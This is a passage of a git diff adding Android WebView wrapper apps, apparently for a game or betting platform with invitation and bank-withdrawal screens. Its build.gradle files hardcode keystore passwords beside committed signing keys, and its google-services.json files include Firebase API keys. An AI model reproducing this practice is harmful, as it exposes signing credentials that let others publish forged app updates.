请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/values/themes.xml b/kangaroo/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/kangaroo/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/xml/app_updater_paths.xml b/kangaroo/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/kangaroo/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/xml/network_security_config.xml b/kangaroo/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/kangaroo/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kangaroo/src/main/res/xml/provider_paths.xml b/kangaroo/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/kangaroo/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/kangaroo/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/kangaroo/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/kangaroo/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/koala88/.gitignore b/koala88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/koala88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/koala88/build.gradle b/koala88/build.gradle new file mode 100644 index 0000000..fc0628f --- /dev/null +++ b/koala88/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.alako21" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "koala88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/koala88/google-services.json b/koala88/google-services.json new file mode 100644 index 0000000..203baa2 --- /dev/null +++ b/koala88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "984543678166", + "project_id": "koala88fdgtsd", + "storage_bucket": "koala88fdgtsd.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:984543678166:android:34cb2372be6cc518214377", + "android_client_info": { + "package_name": "com.xyz.alako21" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyC57ngGHfZvi728Qnc5NF40i2sBh8jDM9U" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/koala88/justlet.jks b/koala88/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/koala88/justlet.jks differ diff --git a/koala88/ppn.jks b/koala88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/koala88/ppn.jks differ diff --git a/koala88/proguard-rules.pro b/koala88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/koala88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/koala88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/koala88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/koala88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/koala88/src/main/AndroidManifest.xml b/koala88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..26be4ee --- /dev/null +++ b/koala88/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/koala88/src/main/java/com/xyz/alako21/MainActivity.java b/koala88/src/main/java/com/xyz/alako21/MainActivity.java new file mode 100644 index 0000000..88eb7bc --- /dev/null +++ b/koala88/src/main/java/com/xyz/alako21/MainActivity.java @@ -0,0 +1,58 @@ +package com.xyz.alako21; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 47; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://koala88.co/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#ffd1d2"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#614e97"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/koala88/src/main/java/com/xyz/alako21/MyFirebaseMessageingService.java b/koala88/src/main/java/com/xyz/alako21/MyFirebaseMessageingService.java new file mode 100644 index 0000000..2a146b2 --- /dev/null +++ b/koala88/src/main/java/com/xyz/alako21/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.alako21; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/koala88/src/main/java/com/xyz/alako21/WebApplication.java b/koala88/src/main/java/com/xyz/alako21/WebApplication.java new file mode 100644 index 0000000..b97965f --- /dev/null +++ b/koala88/src/main/java/com/xyz/alako21/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.alako21; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/koala88/src/main/res/drawable-anydpi/ic_action_back.xml b/koala88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/koala88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/koala88/src/main/res/drawable-hdpi/ic_action_back.png b/koala88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/koala88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/koala88/src/main/res/drawable-mdpi/ic_action_back.png b/koala88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/koala88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/koala88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/koala88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/koala88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/drawable-xhdpi/ic_action_back.png b/koala88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/koala88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/koala88/src/main/res/drawable-xxhdpi/ic_action_back.png b/koala88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/koala88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/koala88/src/main/res/drawable/big_bg.xml b/koala88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..b811671 --- /dev/null +++ b/koala88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/koala88/src/main/res/drawable/ic_launcher_background.xml b/koala88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/koala88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/koala88/src/main/res/drawable/input_bg.xml b/koala88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/koala88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/koala88/src/main/res/drawable/pass_word_bg.xml b/koala88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/koala88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/koala88/src/main/res/drawable/pass_word_bg1.xml b/koala88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/koala88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/drawable/pass_word_bg2.xml b/koala88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/koala88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/drawable/shape_btn_bg.xml b/koala88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/koala88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/drawable/shape_dialog_bg2.xml b/koala88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/koala88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/drawable/shape_dialog_bg3.xml b/koala88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/koala88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/drawable/shape_dialog_bg_new.xml b/koala88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/koala88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/koala88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/koala88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/koala88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/koala88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/mipmap-hdpi/ic_empty.png b/koala88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/koala88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/koala88/src/main/res/mipmap-hdpi/ic_pull_down.png b/koala88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/koala88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/koala88/src/main/res/mipmap-xhdpi/ic_close.png b/koala88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/koala88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/koala88/src/main/res/mipmap-xhdpi/ic_menu.png b/koala88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/koala88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/koala88/src/main/res/mipmap-xxhdpi/app_logo.jpg b/koala88/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..c34341a Binary files /dev/null and b/koala88/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/koala88/src/main/res/values-en/strings.xml b/koala88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..553afad --- /dev/null +++ b/koala88/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + KOALA88 + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/koala88/src/main/res/values-night/themes.xml b/koala88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/koala88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/values/colors.xml b/koala88/src/main/res/values/colors.xml new file mode 100644 index 0000000..d73a569 --- /dev/null +++ b/koala88/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #ffd1d2 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/koala88/src/main/res/values/strings.xml b/koala88/src/main/res/values/strings.xml new file mode 100644 index 0000000..db35858 --- /dev/null +++ b/koala88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + KOALA88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/values/themes.xml b/koala88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/koala88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/xml/app_updater_paths.xml b/koala88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/koala88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/koala88/src/main/res/xml/network_security_config.xml b/koala88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/koala88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/koala88/src/main/res/xml/provider_paths.xml b/koala88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/koala88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/koala88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/koala88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/koala88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/kongbo96/.gitignore b/kongbo96/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/kongbo96/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/kongbo96/build.gradle b/kongbo96/build.gradle new file mode 100644 index 0000000..a8b5a17 --- /dev/null +++ b/kongbo96/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.kongbo9613" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "kongbo96" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/kongbo96/dskjweb.jks b/kongbo96/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/kongbo96/dskjweb.jks differ diff --git a/kongbo96/google-services.json b/kongbo96/google-services.json new file mode 100644 index 0000000..3a7b1dc --- /dev/null +++ b/kongbo96/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "916101862930", + "project_id": "kongbo962", + "storage_bucket": "kongbo962.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:916101862930:android:a962a63ee18bfbac026acb", + "android_client_info": { + "package_name": "com.web.kongbo9613" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCANqhnfeahIO3leN6uPlruNkvH6axDGNc" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": 